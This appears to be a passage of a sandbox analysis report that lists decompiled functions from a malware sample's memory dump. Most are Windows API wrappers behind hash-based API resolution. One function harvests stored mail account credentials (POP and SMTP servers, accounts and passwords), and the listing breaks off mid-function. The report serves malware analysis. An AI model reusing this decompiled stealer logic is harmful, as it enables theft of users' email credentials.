Opcode Fuzzy Hash: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction Fuzzy Hash: F8D09231140209BBEF016E55EC05BAA3B69EF44B54F10C026BA18991A1DB31A9219A98

Uniqueness

Uniqueness Score: -1.00%

Function 004049DC Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049DC(void* _a4, int _a8, WCHAR* _a12, DWORD* _a16) {
				int _t6;
				void* _t7;

				E004031E5(_t7, 2, 0xeca4834b, 0, 0);
				_t6 = SHEnumKeyExW(_a4, _a8, _a12, _a16); // executed
				return _t6;
			}

0x004049ea
0x004049fb
0x004049fe

APIs

SHEnumKeyExW.SHLWAPI(?,?,?,?,00000002,ECA4834B,00000000,00000000), ref: 004049FB

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: c447628955f84b1dbba2996d5b83f9d73ffd86954af03f25284de3baf63e54d0
Instruction ID: fb20b8ae34c3d99b6a2ec1f59af3280c7c0bbdac25ffdbb9458fe1f208d0831b
Opcode Fuzzy Hash: c447628955f84b1dbba2996d5b83f9d73ffd86954af03f25284de3baf63e54d0
Instruction Fuzzy Hash: 45D0023114430D7BEF115ED1DC06F597F1ABB49B54F104455BB18680E19673A6305755

Uniqueness

Uniqueness Score: -1.00%

Function 00403BD0 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BD0(WCHAR* _a4, WCHAR* _a8, long _a12) {
				int _t6;
				void* _t7;

				E004031E5(_t7, 0, 0xc9143177, 0, 0);
				_t6 = MoveFileExW(_a4, _a8, _a12); // executed
				return _t6;
			}

0x00403bdd
0x00403beb
0x00403bee

APIs

MoveFileExW.KERNEL32(00000000,00412C16,?,00000000,C9143177,00000000,00000000,?,004040B6,00000000,00412C16,00000001,?,00412C16,00000000,00000000), ref: 00403BEB

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction ID: 27267517ebbd606c040c475238707358b0366275ca1c9c11413b547716cf2561
Opcode Fuzzy Hash: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction Fuzzy Hash: 5AC04C7500424C7FEF026EF19D05C7B3F5EEB49618F448825BD18D5421DA37DA216664

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF3 Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Uniqueness

Uniqueness Score: -1.00%

Function 0040427D Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040427D(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xcac5886e, 0, 0);
				_t4 = SetFileAttributesW(_a4, 0x2006); // executed
				return _t4;
			}

0x0040428a
0x00404297
0x0040429a

APIs

SetFileAttributesW.KERNELBASE(00000000,00002006,00000000,CAC5886E,00000000,00000000,?,00412C3B,00000000,00000000,?), ref: 00404297

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction ID: e837d3b0865cda380a04769d40cc561620ee701a25bf2a33446201ee5459e2a9
Opcode Fuzzy Hash: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction Fuzzy Hash: A9C092B054430C3EFA102EF29D4AD3B3A8EEB41648B008435BE08E9096E977DE2061A8

Uniqueness

Uniqueness Score: -1.00%

Function 00404A19 Relevance: 1.5, APIs: 1, Instructions: 13
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A19(void* _a4, short* _a8, void** _a12) {
				long _t5;
				void* _t6;

				E004031E5(_t6, 9, 0xdb552da5, 0, 0);
				_t5 = RegOpenKeyW(_a4, _a8, _a12); // executed
				return _t5;
			}

0x00404a27
0x00404a35
0x00404a38

APIs

RegOpenKeyW.ADVAPI32(?,?,?,00000009,DB552DA5,00000000,00000000), ref: 00404A35

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction ID: b1d3f25f69c2166d3d07fcddbc0993e3b6974a4a806b5379996ceb22213e89af
Opcode Fuzzy Hash: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction Fuzzy Hash: 5BC012311802087FFF012EC1CC02F483E1AAB08B55F044011BA18280E1EAB3A2205658

Uniqueness

Uniqueness Score: -1.00%

Function 00403C08 Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C08(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xdeaa357b, 0, 0);
				_t4 = DeleteFileW(_a4); // executed
				return _t4;
			}

0x00403c15
0x00403c1d
0x00403c20

APIs

DeleteFileW.KERNELBASE(?,00000000,DEAA357B,00000000,00000000), ref: 00403C1D

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction ID: 5639c68ad781144a2d68ff400f656d3d2c658e81fc8059c2e96e04b5885f7932
Opcode Fuzzy Hash: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction Fuzzy Hash: EDB092B04082093EAA013EF59C05C3B3E4DDA4010870048257D08E6111EA36DF1010A8

Uniqueness

Uniqueness Score: -1.00%

Function 00402C1F Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C1F(WCHAR* _a4) {
				struct HINSTANCE__* _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xe811e8d4, 0, 0);
				_t4 = LoadLibraryW(_a4); // executed
				return _t4;
			}

0x00402c2c
0x00402c34
0x00402c37

APIs

LoadLibraryW.KERNEL32(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Uniqueness

Uniqueness Score: -1.00%

Function 00408B2C Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408B2C(struct HINSTANCE__* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xe0cf5891, 0, 0);
				_t4 = FreeLibrary(_a4); // executed
				return _t4;
			}

0x00408b39
0x00408b41
0x00408b44

APIs

FreeLibrary.KERNELBASE(?,00000000,E0CF5891,00000000,00000000), ref: 00408B41

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 450bda5b085385e41399d185e0c6d92315b9743f5e19a8ad8642e29fe69941a3
Instruction ID: 291ca984118c00001a410e8fe814b9ebecee15bf7cc635df9db1cfcd8d33b31d
Opcode Fuzzy Hash: 450bda5b085385e41399d185e0c6d92315b9743f5e19a8ad8642e29fe69941a3
Instruction Fuzzy Hash: 0EB092B004820C3EAE002EF19C05C3B3E8DEA4454870044757E0CE5051EA36DE1110A5

Uniqueness

Uniqueness Score: -1.00%

Function 00403BEF Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BEF(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xda6ae59a, 0, 0);
				_t4 = FindClose(_a4); // executed
				return _t4;
			}

0x00403bfc
0x00403c04
0x00403c07

APIs

FindClose.KERNELBASE(00403F8D,00000000,DA6AE59A,00000000,00000000,?,00403F8D,00000000), ref: 00403C04

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction ID: 1ebc74916e7009c76bd4f38d62a0f1d2d6d24e136e2668fcc01a71b48f24aa02
Opcode Fuzzy Hash: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction Fuzzy Hash: FDB092B00442087EEE002EF1AC05C7B3F4EDA4410970044257E0CE5012E937DF1010B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB7 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BB7(WCHAR* _a4) {
				long _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xc6808176, 0, 0);
				_t4 = GetFileAttributesW(_a4); // executed
				return _t4;
			}

0x00403bc4
0x00403bcc
0x00403bcf

APIs

GetFileAttributesW.KERNELBASE(00413D1F,00000000,C6808176,00000000,00000000,?,00403D58,00413D1F,?,00403C6D,00413D1F,?,00413D1F,00000000), ref: 00403BCC

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction ID: 12c622a32f4ce0ce5baf48af10e49973588d22e73ecb696d4958cc4f11b8a016
Opcode Fuzzy Hash: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction Fuzzy Hash: D2B092B05042083EAE012EF19C05C7B3A6DCA40148B4088297C18E5111ED36DE5050A4

Uniqueness

Uniqueness Score: -1.00%

Function 004049FF Relevance: 1.5, APIs: 1, Instructions: 11
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049FF(void* _a4) {
				long _t3;
				void* _t4;

				E004031E5(_t4, 9, 0xd980e875, 0, 0);
				_t3 = RegCloseKey(_a4); // executed
				return _t3;
			}

0x00404a0d
0x00404a15
0x00404a18

APIs

RegCloseKey.KERNEL32(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Uniqueness

Uniqueness Score: -1.00%

Function 00403B64 Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B64(WCHAR* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 2, 0xdc0853e1, 0, 0);
				_t3 = PathFileExistsW(_a4); // executed
				return _t3;
			}

0x00403b72
0x00403b7a
0x00403b7d

APIs

PathFileExistsW.SHLWAPI(?,00000002,DC0853E1,00000000,00000000), ref: 00403B7A

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction ID: 8bd75bc93bbce64143a6918826fd0663652f5dbe7ab318808702af7ec0dd126f
Opcode Fuzzy Hash: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction Fuzzy Hash: F4C0923028830C3BF9113AD2DC47F197E8D8B41B99F104025B70C3C4D2D9E3A6100199

Uniqueness

Uniqueness Score: -1.00%

Function 00404DE5 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00404EB0), ref: 00404DEB

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction ID: a7719220e23c04317d26723f710bfa070304820e6d91f105ed764937a1a9d613
Opcode Fuzzy Hash: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction Fuzzy Hash: F4A0113000020CEBCB002B82EE088C83F2CEA882A0B808020F80C00020CB22A8208AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004044EE Relevance: 1.3, APIs: 1, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044EE(void* __ecx, void* __eflags, WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16) {
				intOrPtr _v8;
				void* _t25;
				void* _t28;
				long _t29;
				signed int _t36;
				void* _t45;
				signed int _t53;
				signed int _t55;
				signed int _t58;
				void* _t61;
				void* _t63;

				_t36 = 0x400;
				_t53 = 2;
				_t58 = 0x400;
				_t61 = E00402B7C( ~(0 | __eflags > 0x00000000) | 0x00000400 * _t53);
				if(_t61 == 0) {
					L4:
					_t25 = 0;
				} else {
					_v8 = 0x800;
					while(1) {
						E00402B4E(_t61, 0, _t58 + _t58);
						_t28 = E004044A7(_a8, _a12, _a16, _t61, _t58, _a4);
						_t13 = _t58 - 1; // 0x3ff
						_t63 = _t63 + 0x24;
						_t66 = _t28 - _t13;
						if(_t28 != _t13) {
							break;
						}
						_v8 = _v8 + 0x800;
						_t36 = _t36 + 0x400;
						E00402BAB(_t61);
						_t55 = 2;
						_t58 = _t36;
						_t61 = E00402B7C( ~(0 | _t66 > 0x00000000) | _t36 * _t55);
						if(_t61 != 0) {
							continue;
						} else {
							goto L4;
						}
						goto L5;
					}
					_t29 = GetLastError();
					_t45 = 2;
					__eflags = _t29 - _t45;
					if(_t29 != _t45) {
						_t25 = _t61;
					} else {
						E00402BAB(_t61);
						goto L4;
					}
				}
				L5:
				return _t25;
			}

0x004044f5
0x004044fe
0x00404501
0x00404512
0x00404517
0x0040457c
0x0040457c
0x00404519
0x00404519
0x00404520
0x00404527
0x0040453a
0x0040453f
0x00404542
0x00404545
0x00404547
0x00000000
0x00000000
0x00404549
0x00404550
0x00404557
0x00404562
0x00404565
0x00404574
0x0040457a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040457a
0x00404585
0x0040458d
0x0040458e
0x00404590
0x0040459b
0x00404592
0x00404593
0x00000000
0x00404598
0x00404590
0x0040457e
0x00404584

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Part of subcall function 004044A7: GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?,00000000,F66BE5A2,00000000,00000000), ref: 004044CB

GetLastError.KERNEL32 ref: 00404585

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: HeapFree.KERNEL32(00000000), ref: 00402BC0

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateErrorFreeLastPrivateProfileString
String ID:
API String ID: 4065557613-0
Opcode ID: a7ed1a25bbf88e5834c69dfb6a8f660cc79c8b059c99c8b9ed313f4bc5696491
Instruction ID: 4921b4961515552709d35feb502e82dc384c9b3b90426e204c6f6ec5e0b55acd
Opcode Fuzzy Hash: a7ed1a25bbf88e5834c69dfb6a8f660cc79c8b059c99c8b9ed313f4bc5696491
Instruction Fuzzy Hash: 901157B26011043BEB249EA9AD46F7FB768DF84368F10413FFB05E61D0EA789C00069C

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9E Relevance: 1.3, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F9E(void* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 0, 0xf53ecacb, 0, 0);
				_t3 = VirtualFree(_a4, 0, 0x8000); // executed
				return _t3;
			}

0x00403fac
0x00403fba
0x00403fbe

APIs

VirtualFree.KERNELBASE(0041028C,00000000,00008000,00000000,F53ECACB,00000000,00000000,00000000,?,0041028C,00000000), ref: 00403FBA

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction ID: 31a36aa897feec3f2575a3818ba469950b8b51fe97d839facc05156de448dee4
Opcode Fuzzy Hash: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction Fuzzy Hash: 9CC08C3200613C32893069DBAC0AFCB7E0CDF036F4B104021F50C6404049235A0186F8

Uniqueness

Uniqueness Score: -1.00%

Function 00403C40 Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C40(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xfbce7a42, 0, 0);
				_t4 = CloseHandle(_a4); // executed
				return _t4;
			}

0x00403c4d
0x00403c55
0x00403c58

APIs

CloseHandle.KERNELBASE(00000000,00000000,FBCE7A42,00000000,00000000,?,00404344,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00403C55

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction ID: f60e35b61e15034c3e7e350ceef27d37971f1a6745175d5827dd76012fe363c0
Opcode Fuzzy Hash: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction Fuzzy Hash: 70B092B01182087EAE006AF29C05C3B3E4ECA4060874094267C08E5451F937DF2014B4

Uniqueness

Uniqueness Score: -1.00%

Function 00406472 Relevance: 1.3, APIs: 1, Instructions: 12
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406472(long _a4) {
				void* _t3;
				void* _t4;

				_t3 = E004031E5(_t4, 0, 0xcfa329ad, 0, 0);
				Sleep(_a4); // executed
				return _t3;
			}

0x0040647f
0x00406487
0x0040648a

APIs

Sleep.KERNELBASE(?,00000000,CFA329AD,00000000,00000000), ref: 00406487

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction ID: 8d08050a97d9600d7c0dbf2a5018eca7d85037e123ae0040efa9f3f0a7dd9c36
Opcode Fuzzy Hash: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction Fuzzy Hash: FBB092B08082083EEA002AF1AD05C3B7A8DDA4020870088257C08E5011E93ADE1150B9

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040D069 Relevance: 12.6, Strings: 10, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040D069(void* __ebx, void* __eflags, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t40;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t71;
				void* _t75;
				void* _t77;

				_t72 = _a4;
				_t71 = E00404BEE(__ebx,  *_a4, L"EmailAddress");
				_t81 = _t71;
				if(_t71 != 0) {
					_push(__ebx);
					_t67 = E00404BEE(__ebx,  *_t72, L"Technology");
					_v16 = E00404BEE(_t37,  *_t72, L"PopServer");
					_v40 = E00404BA7(_t81,  *_t72, L"PopPort");
					_t40 = E00404BEE(_t37,  *_t72, L"PopAccount");
					_v8 = _v8 & 0x00000000;
					_v20 = _t40;
					_v24 = E00404C4E(_t71,  *_t72, L"PopPassword",  &_v8);
					_v28 = E00404BEE(_t67,  *_t72, L"SmtpServer");
					_v44 = E00404BA7(_t81,  *_t72, L"SmtpPort");
					_t45 = E00404BEE(_t67,  *_t72, L"SmtpAccount");
					_v12 = _v12 & 0x00000000;
					_v32 = _t45;
					_t47 = E00404C4E(_t71,  *_t72, L"SmtpPassword",  &_v12);
					_t77 = _t75 + 0x50;
					_v36 = _t47;
					if(_v8 != 0 || _v12 != 0) {
						E00405872( *0x49f934, _t71, 1, 0);
						E00405872( *0x49f934, _t67, 1, 0);
						_t74 = _v16;
						E00405872( *0x49f934, _v16, 1, 0);
						E00405781( *0x49f934, _v40);
						E00405872( *0x49f934, _v20, 1, 0);
						_push(_v8);
						E00405762(_v16,  *0x49f934, _v24);
						E00405872( *0x49f934, _v28, 1, 0);
						E00405781( *0x49f934, _v44);
						E00405872( *0x49f934, _v32, 1, 0);
						_push(_v12);
						E00405762(_t74,  *0x49f934, _v36);
						_t77 = _t77 + 0x88;
					} else {
						_t74 = _v16;
					}
					E0040471C(_t71);
					E0040471C(_t67);
					E0040471C(_t74);
					E0040471C(_v20);
					E0040471C(_v24);
					E0040471C(_v28);
					E0040471C(_v32);
					E0040471C(_v36);
				}
				return 1;
			}

0x0040d070
0x0040d080
0x0040d084
0x0040d086
0x0040d08c
0x0040d0a0
0x0040d0ae
0x0040d0bd
0x0040d0c0
0x0040d0c5
0x0040d0c9
0x0040d0e3
0x0040d0f2
0x0040d101
0x0040d104
0x0040d109
0x0040d110
0x0040d11e
0x0040d123
0x0040d126
0x0040d12d
0x0040d145
0x0040d154
0x0040d15a
0x0040d166
0x0040d174
0x0040d186
0x0040d18e
0x0040d19a
0x0040d1ac
0x0040d1ba
0x0040d1cc
0x0040d1d1
0x0040d1dd
0x0040d1e2
0x0040d1e7
0x0040d1e7
0x0040d1e7
0x0040d1eb
0x0040d1f1
0x0040d1f7
0x0040d1ff
0x0040d207
0x0040d20f
0x0040d217
0x0040d21f
0x0040d227
0x0040d230

Strings

PopAccount, xrefs: 0040D0B6
PopServer, xrefs: 0040D099
EmailAddress, xrefs: 0040D074
SmtpAccount, xrefs: 0040D0FA
SmtpPassword, xrefs: 0040D117
PopPort, xrefs: 0040D0A7
Technology, xrefs: 0040D08D
PopPassword, xrefs: 0040D0D0
SmtpPort, xrefs: 0040D0EB
SmtpServer, xrefs: 0040D0DC

Memory Dump Source

Source File: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_xmtxpy.jbxd

Yara matches

Similarity

API ID:
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 0-2111798378
Opcode ID: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Uniqueness

Uniqueness Score: -1.00%

Function 008A4173 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E008A4173(signed int __eax, void* __edx, void* __edi) {
				intOrPtr* _t14;
				void* _t15;
				void* _t20;
				void* _t21;
				void* _t22;
				intOrPtr _t23;
				signed int _t32;
				void* _t42;
				void* _t43;
				signed int _t44;
				void* _t46;
				void* _t47;

				_t43 = __edi;
				_t42 = __edx;
				_t44 = __eax & 0x0000ffff;
				E008AF990(2);
				_t14 = 0x5a4d;
				_t47 =  *0x8a0000 - _t14; // 0x5a4d
				if(_t47 == 0) {
					_t14 =  *0x8a003c; // 0xe0
					__eflags =  *((intOrPtr*)(_t14 + 0x8a0000)) - 0x4550;
					if(__eflags != 0) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t14 + 0x8a0018)) - 0x10b;
						if(__eflags != 0) {
							goto L2;
						} else {
							_t32 = 0;
							__eflags =  *((intOrPtr*)(_t14 + 0x8a0074)) - 0xe;
							if(__eflags > 0) {
								__eflags =  *(_t14 + 0x8a00e8);
								_t6 =  *(_t14 + 0x8a00e8) != 0;
								__eflags = _t6;
								_t32 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t32 = 0;
				}
				 *(_t46 - 0x1c) = _t32;
				asm("in al, 0xe8");
				asm("lds ecx, [eax]");
				 *_t14 =  *_t14 + _t14;
				_t48 = _t14;
				if(_t14 == 0) {
					E008AE9B0(0x1c);
				}
				_t15 = E008AEDFA(_t32, _t43, _t48);
				_t49 = _t15;
